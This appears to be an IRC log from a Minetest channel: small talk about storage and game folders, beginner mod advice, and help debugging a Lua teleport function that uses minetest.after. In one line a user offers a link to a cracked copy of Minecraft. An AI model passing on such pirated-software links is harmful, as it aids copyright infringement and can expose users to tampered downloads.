20:23 mauvebic yeah because i definately trust those big cloud providers to stay in business and not sell my info
20:23 jojoa1997 Octopus: thanks
20:24 Jordach mauvebic, nothing like keeping your own data
20:24 mauvebic im more likely to buy external drives now
20:24 Calinou home servers ftl (ftw only for your electricity company)
20:24 Calinou external drives, lol
20:24 mauvebic more efficient that usb keys and network transfer between 3-4 machines
20:24 mauvebic most externals now operate off the wifi network
20:24 Calinou if you want one, get a usb 3.0 one :P
20:25 Jordach mauvebic, Calinou -- external drives are useful when moving important files and backing shit up
20:25 Calinou yeah
20:25 mauvebic like a network drive
20:25 Jordach like the pr0n folder
20:25 Calinou the wifi feature is beyond pointless
20:25 Octupus jojoa1997: its dwn
20:25 jojoa1997 k
20:25 Calinou mine is 220M
20:25 mauvebic not for me, you know how many seasons the original law & order has?
20:25 Calinou 220M.minecraft/
20:25 Calinou :-D
20:25 Calinou mauvebic: google
20:26 Jordach Calinou, 220m == ??
20:26 kaeza ~/.minetest/ 1.5G
20:26 Calinou megabytes
20:26 Jordach peh
20:26 Calinou 352M for me kaeza
20:26 Calinou 295M after removing debug.txt
20:27 Jordach about 32mb here
20:27 Octupus jordach, Calinou, cracked or paid MC
20:27 Jordach (i get bored playing sp)
20:27 kaeza if I remove debug.tx, I'd probably get only ~200M
20:27 Jordach Octupus, 0.3 Classic thx
20:27 Calinou paid it 10 euros back in december 2010
20:27 Calinou the price was more interesting back then :)
20:27 Octupus Jordach,Cracked :P
20:27 Jordach Calinou, yup
20:27 Octupus I can send you a link if you want
20:28 kaeza debug.txt: 992M O.o

20:32 mauvebic hey guys, i need help burying a couple of bodie....errr... nevermind :-D
20:32 Jordach mauvebic, :P
20:32 mauvebic does that mean i cant hold my usual black panther meetings of freenode?
20:33 marktraceur mauvebic: We don't have anything against felines of any particular hue, just keep it in an offtopic channel
20:33 mauvebic (on the internet, no one knows you're not black) :p
20:34 Calinou mauvebic: "hi", nothing else
20:34 * marktraceur is not mauvebic but OK
20:34 marktraceur Calinou: Well that's weird, man
20:35 Octupus why doesnt some1 make an offtopic channel for minetest?
20:35 marktraceur Octupus: Because minetest isn't off topic?
20:35 jojoa1997 simple type /join #minetest-offtopic
20:35 Octupus marktraceur,what happen if some1 wanna know something but it isnt allowed in this channel?
20:36 marktraceur Octupus: You ask in a channel where it's on topic
20:36 mauvebic death by firing squad

20:51 VanessaE in the register_on_generated() function, how wide is the range of minp/maxp?  one mapblock, or 5x5x5?
20:51 PilzAdam one mapblock
20:51 VanessaE ok
20:51 PilzAdam you can print some math.abs(minp.x-maxp.x) to test it
20:52 PilzAdam since the mapblock size is hard coded you dont really know it from Lua
20:52 PilzAdam make sure that changing it to 32 or so doesnt break your mod
20:52 kaeza PilzAdam, thanks for the suggestion for the lava suit

20:55 Octupus i need a new mod idea that i can handle
20:55 VanessaE I figured I'd hit this wall too, but it was worth a try.
20:55 Traxie21 Octupus, try Economy
20:55 Traxie21 What wall are you talking about?
20:56 Octupus Traxie21: how do you mean?
20:56 Traxie21 Try making an economy mod
20:56 PilzAdam Octupus, how experienced are you?

20:57 kaeza jojoa is even more annoying than octu
20:57 kaeza lol J/K :P
20:57 Octupus HEY :P
20:57 PilzAdam Octupus, hmm
20:59 Traxie21 Octopus, I'm kinda new to modding, but I'd advise trying to make a server mod, like commnds and the like
20:59 Traxie21 Similar to bukkit plugins
20:59 Traxie21 There's tons of block-and-tool mods, but not a lot of server ones
20:59 Traxie21 IMHO
20:59 mauvebic theme mods
20:59 Octupus i tried to make a broadcast command but i cant figure that out
20:59 PilzAdam Octupus, something useless to learn coding: a tool that places a light block on leftclick; when punching this lightblock it changes the color
21:00 mauvebic offer period nodes, textures and tools
21:00 PilzAdam (not the light color but the texture)
21:00 mauvebic people want cars, mobs, better node protection
21:00 Octupus PilzAdam,idk how to do that
21:00 mauvebic + theres tons of broken shit you can try fixing
21:00 PilzAdam learn it ;-)
21:01 Octupus ik how to make a tool that digs something
21:01 kaeza Octupus, how about a simple mod that computes the distance travelled by a player and reports back with a /dist command?
21:01 mauvebic ugh, just drank from the wrong coffee cup :S
21:01 Octupus kaeza,im not that good
21:01 PilzAdam you have to use callbacks like on_use or on_punch
21:01 Traxie21 kaeza, NO MATH
21:01 Traxie21 Math+programming is hard for dumb people like me :3
21:01 PilzAdam that brings you to learn what Lua functions are, and how to use them
21:02 kaeza oh sorry :P
21:02 mauvebic programming is almost like math with words lol
21:02 kaeza mauvebic, programming = math + logic
21:03 kaeza if you suck at any of those, programming is not for you
21:03 Octupus PilzAdam,Can i get a link to something i can read to understand?
21:03 PilzAdam everything you need to know is here: https://github.com/celeron55/minetest/blob/master/doc/lua_api.txt
21:03 Traxie21 @kaeza, Theres lots of mods you can make with a basic understanding of math
21:03 mauvebic im pretty sure logic applies to math too?
21:03 mauvebic lol
21:04 PilzAdam Octupus, take your time, nobody forces you to make a mod in 30 mins.
21:04 kaeza mauvebic, maybe, but they are different things
21:04 mauvebic the only places where logic doesn't apply is in politics and law lol
21:04 PilzAdam Octupus, is english your native language?
21:04 Octupus PilzAdamn thank you i will read this carefully
21:04 Traxie21 WIN mauv
21:05 Octupus yes PilzAdam
21:05 Calinou I understand lua_api.txt perfectly, yet english is not my native language :P
21:05 Traxie21 Do any of you expert coders have free time to see how bad my code is?
21:05 PilzAdam Calinou, the difference is that you have some experience in programming
21:05 PilzAdam Traxie21, LOC?
21:05 mauvebic i offer an express insult and derision service
21:05 mauvebic :p
21:06 Traxie21 LOC? What does that mean?
21:06 PilzAdam Lines Of Code
21:06 Traxie21 Not sure,using wordpad XD
21:06 PilzAdam there is a thing called google :-p
21:06 Exio wordpad for coding

21:11 Traxie21 Oi, if theres two things I'm bad at in programming, one is math, the other is naming variables XD
21:11 mauvebic ya'll know the urban dictionary def right? lol
21:13 Octupus PilzAdam,i understand alot of this
21:14 Octupus but i cant code big stuff xD
21:14 PilzAdam with "Take your time" I mean something like a week or so
21:14 mauvebic yay i found low poly hover vehicles :D
21:14 Octupus yea ik but i understand what there are saying in the text
21:15 PilzAdam thats a good starting point :-)
21:15 Traxie21 I have a stupidly dumb question
21:15 Octupus :D
21:15 Octupus anything else i shud do
21:15 Traxie21 nvm
21:15 PilzAdam Traxie21, print(dump(question))
21:15 Octupus shud i look at complex codes and see what they do
21:16 Traxie21 Nvm, I answered it myself
21:16 PilzAdam Octupus, read other mods code
21:16 PilzAdam its not important how complex they are
21:17 PilzAdam e.g. read my mods to see correct indentation
21:17 Octupus Which 1 do you recommend for me to read?
21:18 PilzAdam well, the default mod is pretty basic
21:18 PilzAdam but its not very interesting
21:18 Octupus yea i understand those i mean like your mods
21:18 PilzAdam just read the code of your favourite mods
21:19 Octupus hmmmmm
21:19 PilzAdam you dont have to fully understand them
21:19 PilzAdam just to get an idea on how a mod should "look like"
21:20 Octupus ok il read farming since i like that mod alot
21:20 Traxie21 Moment of truth... Did I miss an "end" or not *drum rull*
21:20 PilzAdam the only downside of lua-api.txt is that there are no examples so you have to figure out how to structure your init.lua
21:20 Octupus Traxie can i see you code?
21:20 PilzAdam the default mod is a good reference for that
21:21 Octupus yea i sort mines out line by line

21:21 Traxie21 What does 'attempting to call field "func" a nil value' mean?
21:21 Traxie21 In a second octupus, im currently editing it
21:22 mauvebic means .func isn't set
21:22 Octupus K
21:22 mauvebic array['func'] = ?
21:22 Traxie21 No, its a function
21:22 mauvebic well what are you trying to do?
21:22 kaeza mauvebic, array['func'] == array.func
21:22 Traxie21 minetest.after to call a function with a parameter
21:22 PilzAdam Octupus, do you know any programming languages?
21:23 mauvebic minetest.after(1,function() end)
21:23 Octupus no im a newbie at coding OC has helped quite a bit
21:23 mauvebic you have to pass a function to minetest.after not just arguemnts
21:23 kaeza Traxie21, minetest.after(1, function (param) <your code here> end, param)
21:23 Traxie21 mauv, I just fixed it
21:24 Traxie21 how do you pass a param to a function?
21:24 Octupus traxie
21:24 kaeza Traxie21, minetest.after(1, function (param) <your code here> end, param) <== THIS
21:24 Octupus param = (what ever you trying to add)   or its param1 (what every you want to add  Traxie21
21:25 PilzAdam Octupus, its difficult to learn a programming language _and_ the minetest API at the same time; maybe it would help if you read some tutorials about any programming language to get some experience
21:25 Traxie21 That helps
21:25 Octupus ok PilzAdam yougot any tutorials in mind
21:25 mauvebic you can use any variable within minetest.after(d, function() end) so long as you dont have scope problems
21:27 PilzAdam Octupus, maybe this: http://chortle.ccsu.edu/java5/index.html (its Java)
21:27 PilzAdam its where I learned Java :-)
21:27 Octupus ok il try this
21:28 mauvebic javas been in the news afew times on /. this week lol
21:28 Octupus i might be able to make plugins soon for mc  :P
21:28 PilzAdam mauvebic, there was a major secutrity lag in java
21:28 PilzAdam *security
21:29 mauvebic something about a 2yr exploit?
21:29 mauvebic its ironic the sandboxing was supposed to provide extra security lol
21:29 Traxie21 minetest.after(teleport_delay, teleport_player(param), position)
21:29 kaeza Octupus, http://lua.org/pil
21:29 Traxie21 something isnt right there
21:30 mauvebic not working?
21:30 Calinou mauvebic: openjdk was unaffected by the security exploits :-D
21:30 kaeza Traxie21, nope
21:30 Traxie21 well, it calls the function
21:30 Calinou open source ftw
21:30 kaeza minetest.after(teleport_delay, teleport_player, position)
21:30 mauvebic do you define position or param?
21:31 mauvebic you could try minetest.after(teleport_delay, function() teleport_player(position) end)
21:31 Traxie21 It calls the function
21:31 Traxie21 But I can't access the param with "position"
21:31 kaeza Traxie21, the 2nd arg to minetest.after is a function; *not* a function *call*
21:31 mauvebic you could try minetest.after(teleport_delay, function() teleport_player(param) end)
21:32 kaeza mauvebic, the function you pass to minetest.after must have a way to get the param
21:32 Traxie21 Forgive me kaeza, I do not know my lingo
21:32 Traxie21 here, lemme pastebin this
21:33 mauvebic ive used it a few times with variables defined outside its scope w/o problems
21:33 kaeza mauvebic, bad coding practice
21:33 kaeza that's what function parameters are for
21:33 mauvebic yeah well you could take 10 years following all the rules to do what i can in 1 so its moot
21:33 Traxie21 http://pastebin.com/Rqgh6sHF
21:33 Traxie21 the p is set beforehand
21:34 Traxie21 the only issue is that when it runs the setpos, it gets a nil value
21:34 kaeza Traxie21, what is 'p'?
21:34 kaeza a position?
21:34 Traxie21 ye
21:35 Traxie21 im too lazy
21:35 Traxie21 I'll fix the var names later
21:35 kaeza http://pastebin.com/abWrwmUZ
21:36 kaeza note the small change in teleport_player
21:36 Octupus il take a break a little
21:36 Octupus i reached quite far already
21:36 Traxie21 oops
21:37 Traxie21 Thats what i get for following the wiki
21:37 Traxie21 XD
21:37 Traxie21 hmm
21:37 Traxie21 still setpos is a nil value
21:38 Traxie21 I bet that will be easy to fix
21:40 kaeza setpos may be a nil value cause tpr_list[value_carryover] is nil
21:41 Traxie21 kaeza, its still the param, I just debugged
21:41 PilzAdam Traxie21, can you show me your whole code?
21:42 Traxie21 tpr_list[value_carryover] is printing the proper value, but printing the param crashes the game
21:42 Traxie21 Sure.. one sec
21:42 kaeza Traxie21, then maybe 'p' is not set correctly
21:42 Traxie21 nope
21:42 Traxie21 printed that too
21:42 kaeza (it's the param that minetest.after passes to your function)
21:43 Traxie21 yea, thats the param that dosn't seem to be being passed
21:43 Traxie21 http://pastebin.com/Rqgh6sHF
21:43 Traxie21 wordpad is so hard to read without syntax highliting :I
21:44 kaeza Traxie21, use notepad++
21:44 Traxie21 My friend said not to install anything on his computer :L
21:45 mauvebic good advice
21:45 kaeza Traxie21, first of all, you should at least make sender & receiver module local on lines 8 & 9
21:45 Traxie21 wait
21:45 Traxie21 found it
21:45 kaeza ditto for lines 4 & 5
21:45 kaeza err
21:45 kaeza 3 &
21:45 kaeza 4
21:46 kaeza also, it's bad coding practice to use variables that way
21:47 kaeza you should arrange your code to use function params
21:47 kaeza it's called non-reentrancy

22:40 Octupus everything went dead :/
22:41 Menche ya, didn't understand why i had to patch minecraft to use hi-res texturs
22:41 Octupus Menche,can i help you with you new server map?
22:41 Octupus i can build an awesome spawn for ya
22:42 Menche ok, i'll forward my other server out soon
22:43 Menche im copy-pasted much of the old spawn in, im rebuilding the roads now
22:43 Octupus k
22:43 Cybersoft I'm using LB photo realism 128x. but I can't find the texture when you break a block
22:43 Octupus so what im hearing is i can build spawn  ? :D
22:43 Cybersoft ie: the ones showing the break marks - any idea where it is?
22:43 Menche thats crack_anylength.png
22:44 Cybersoft and is there a way to use directX instead of opengl since this use irrlicht and that engine usually give the choice between the two?
22:45 Octupus Menche,for spawn would you like me to build an outdoor type spawn or an inside 1?
22:45 PilzAdam Cybersoft, n minetest.conf add: video_driver = direct3d8
22:45 PilzAdam *in
22:45 PilzAdam or direct3d9
22:46 Menche Octupus: i copied the old town hall over

22:47 Octupus i can build a mall where ppl can cluster in there with shops and not the old spawn Menche

22:48 Octupus K
22:48 Cybersoft thanks, if I wanted to add block with slopes or curves in them where would I start?

23:58 Cybersoft where are the block definition/model stored? I used a cactus texture from minecraft, but it seems the cactus block in minetest is larger because I'm getting transparency from the texture and I'd like to adjust it
